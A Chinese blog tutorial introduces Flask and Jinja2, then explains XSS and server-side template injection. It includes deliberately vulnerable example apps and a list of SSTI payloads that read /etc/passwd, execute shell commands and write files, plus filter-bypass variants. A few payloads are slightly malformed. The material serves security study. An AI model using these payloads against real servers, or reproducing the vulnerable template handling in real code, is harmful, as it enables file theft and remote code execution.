Flask是什么?
Flask是一个相对于Django
而言轻量级的Web框架,是Python开发的一个基于Werkzeug
和Jinja 2
的web开发微框架,它的优势是极其简洁,但又非常灵活,而且容易学习和应用。因此Flask框架是Python新手快速开始web开发最好的选择,此外,使用Flask框架的另一个好处在于你可以非常轻松地将基于Python的机器学习算法或数据分析算法集成到web应用中。
Django:Python下有许多款不同的 Web 框架。Django是重量级选手中最有代表性的一位。许多成功的网站和APP都基于Django。
Werkzeug:Werkzeug是Python的
WSGI
规范的实用函数库。WSGI:是为 Python 语言定义的 Web 服务器和 Web 应用程序或框架之间的一种简单而通用的接口。自从
WSGI
被开发出来以后,许多其它语言中也出现了类似接口。我们不希望接触到TCP连接、HTTP原始请求和响应格式,所以,需要一个统一的接口,让我们专心用Python编写Web业务。这个接口就是WSGI
:Web Server Gateway Interface。Jinja 2:Jinja2是Python下一个被广泛应用的
模版引擎
,功能比较类似于于PHP的smarty
模板引擎(这里特指用于Web开发的模板引擎 ):为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
Flask基操
安装Flask
pip install flask
编写Hello,Flask!
- 引入Flask类
from flask import Flask
- 创建Flask对象,我们将使用该对象进行应用的配置和运行:
app = Flask(__name__)
___name__
是Python中的特殊变量,如果文件作为主程序执行,那么__name__
变量的值就是__main__
,如果是被其他模块引入,那么__name__
的值就是模块名称。
- 编写主程序
在主程序中,执行run()
来启动应用:
if __name__ =="__main__":
app.run(debug=True, port=8080)
改名启动一个本地服务器,默认情况下其地址是localhost:5000
,在上面的代码中,我们使用关键字参数port
将监听端口修改为8080。
- 路由
使用app变量的route()
装饰器来告诉Flask框架URL如何触发我们的视图函数:
@app.route('/')
def hello_world():
return 'Hello, Flask!'
上面的标识,对路径'/'的请求,将转为对hello_world()
函数的调用。
使用HTML模板
from flask import Flask
app = Flask(__name__)
@app.route('/greet')
def greet():
user = {'username': 'ggbond', 'age': '18'}
return '''
<html>
<head>
<title>Templating</title>
</head>
<body>
Hello, <b>''' + user['username'] + '''</b>!, you’re <b>''' + user['age'] + '''</b> years old.
</body>
</html>'''
if __name__ == '__main__':
app.run(debug=True, port=8080)
拼接HTML字符串非常容易出错,因此Flask使用Jinja 2模板引擎来分离数据逻辑和展示层。
使用模板时,视图函数应当返回render_template()
的调用结果。例如下面的代码片段渲染模板index.html
,并将渲染结果作为视图函数的返回值:
我们将模板文件按如下路径放置:
app.py
templates
|-/index.html
app.py
from flask import Flask
from flask import render_template
from flask import request
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name')
return render_template('index.html', name=name)
if __name__ == '__main__':
app.run(debug=True, port=8080)
index.html
<html>
<body>
{% if name %}
<h2>Hello {{ name }}.</h2>
{% else %}
<h2>Hello.</h2>
{% endif %}
</body>
</html>
Flask框架漏洞
flask使用Jinja作为模板语言,模板应该放在myapp/templates/——一个在应用文件夹里面的目录。Jinja有两种定界符:{% ... %}
和{{ ... }}
。前者用于执行类似循环或赋值的语句,后者向模板输出表达式求值的结果。
flask导致XSS漏洞
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def test():
code = request.args.get('test')
html = '<html>%s</html>'
return html % code
if __name__ == '__main__':
app.run(debug=True, port=8080)
为了避免XSS,可以使用render_tempplate_string对输入的文本进行渲染。
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def test():
code = request.args.get('test')
html = '<html>{{var}}</html>'
return render_template_string(html, var=code)
if __name__ == '__main__':
app.run(debug=True, port=8080)
SSTI漏洞
SSTI(Server-Side Template Injection) 服务端模板注入
服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。
基础知识
- 在jinja2中,存在三种语句:控制结构
{% %}
、变量取值{{ }}
、注释{# #}
。 - jinja2模板中使用
{{ }}
语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。 - 在Jinja2引擎中,
{{}}
不仅仅是变量标示符
,也能执行一些简单的表达式
。 - 模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
漏洞成因
将参数当字符串来渲染并且使用了% request.args.get()
导致模版渲染可控。如下:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def test():
code = request.args.get('test')
template = '<html>%s</html>' % code
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True, port=8080)
漏洞代码使用了render_template_string
函数,而如果使用render_template
函数,将变量传入进去,经过固定模版的渲染
便不可控了。
漏洞利用
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
利用思路:找到父类<type 'object'>–>寻找子类 subclasses()–>找关于命令执行或者文件操作的模块
构造继承链的思路是
1)随便找一个内置类对象用class拿到他所对应的类
2)用bases拿到基类(<class 'object'>)
3)用subclasses()拿到子类列表
在子类列表中直接寻找可以利用的类。
1、获取’‘的类对象:''.__class__
2、追溯继承树:''.__class__.__mro__
3、可以看到object已经出来了,然后继续向下查找object的子类:''.__class__.__mro__[2].__subclasses__()
4、找到可执行命令或者读文件的方法,找到第40个为<type> 'file',执行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
常用payload:
python3
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('file').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
- 命令执行:{{lipsum.__globals__.__getitem__["os"].popen("whoami").read()}}
python2
- 文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 文件读取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
- 写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
python2、python3共有,可命令执行:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}
一些绕过:
(1)过滤[]等括号
使用gititem绕过。如原poc {{"".class.bases[0]}}
绕过后{{"".class.bases.getitem(0)}}
(2)过滤了subclasses,拼凑法
原poc{{"".class.bases[0].subclasses()}}
绕过 {{"".class.bases[0]['subcla'+'sses']}}
(3)过滤class,使用session
poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}
(4)timeit姿势
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
import platform
print platform.popen('dir').read()
特殊:
{{get_flashed_messages}}
{{url_for}}
{{%print(lipsum|attr("__globals__“))|attr("__getitem__")("os")|attr("popen")("whoami")|attr(”read“)()%}}
使用attr
过滤器,对应 do_attr
即用来获取类的属性 由getattr
函数来实现{{config|attr("__class__")}}
__getitem__
方法返回键对应值,attr
过滤器获得类属性
参考文章:
Flask框架(jinja2)服务端模板注入漏洞分析(SSTI)
Python——flask漏洞探究https://www.cnblogs.com/Rasang/p/12181654.html)
标签:__,.__,name,框架,Flask,app,漏洞,class From: https://www.cnblogs.com/seizer/p/17035706.html